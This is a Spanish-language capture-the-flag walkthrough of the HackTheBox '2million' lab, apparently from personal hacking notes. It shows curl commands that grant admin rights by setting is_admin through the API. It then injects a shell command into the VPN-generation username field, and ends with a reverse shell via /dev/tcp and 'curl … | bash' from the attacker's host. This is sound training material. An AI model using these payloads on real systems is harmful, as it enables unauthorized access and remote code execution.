> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Abuso de API de HackTheBox

## Explotación de la API HACKTHEBOX

<figure><img src="/files/453e5936053a21cd0b556d6f468971e8708aba8a" alt=""><figcaption></figcaption></figure>

#### Observación de la API

Al visitar `/api`, observamos las rutas disponibles

<figure><img src="/files/2c432034f9aa03b40c1bb7ad922e55b0a95f6401" alt=""><figcaption></figcaption></figure>

#### Intento de generación de configuración VPN (fallo inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

respuesta: no autorizado.

<figure><img src="/files/11cd0c0f57f234ed71c0f40b2e057f040e4a6839" alt=""><figcaption></figcaption></figure>

#### Modificación de nuestro rol mediante la API

<figure><img src="/files/c9113592329dbcd9ab8302e691d433b4e852a8df" alt=""><figcaption></figcaption></figure>

Probamos la modificación de parámetros de usuario con la ruta:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Falta el parámetro: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Falta el parámetro: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> respuesta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/30816c2a59f06679606b2affcab2f0e5cb1e18ad" alt=""><figcaption></figcaption></figure>

#### Verificación de nuestro estado de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/8a2fc318b5ea640ecafe1ab7896b6c023a6cd171" alt="" width="563"><figcaption></figcaption></figure>

### Ejecución remota de código mediante inyección de comandos

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/5924fe9894521dd2101a19e2b098366f681c3605" alt=""><figcaption></figcaption></figure>

Intento de inyección de comandos en el campo `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/51959c24feacd4bb470acc6c3ef63da9003402a0" alt=""><figcaption></figcaption></figure>

#### Shell inversa

1. **archivos del servidor**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Oyente de netcat**

```bash
nc -nvlp 443

```

3. **Envío del comando**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Obtenemos una shell inversa

<figure><img src="/files/7744cf90123f27166f5e9b5ce769824b7e924290" alt=""><figcaption></figcaption></figure>


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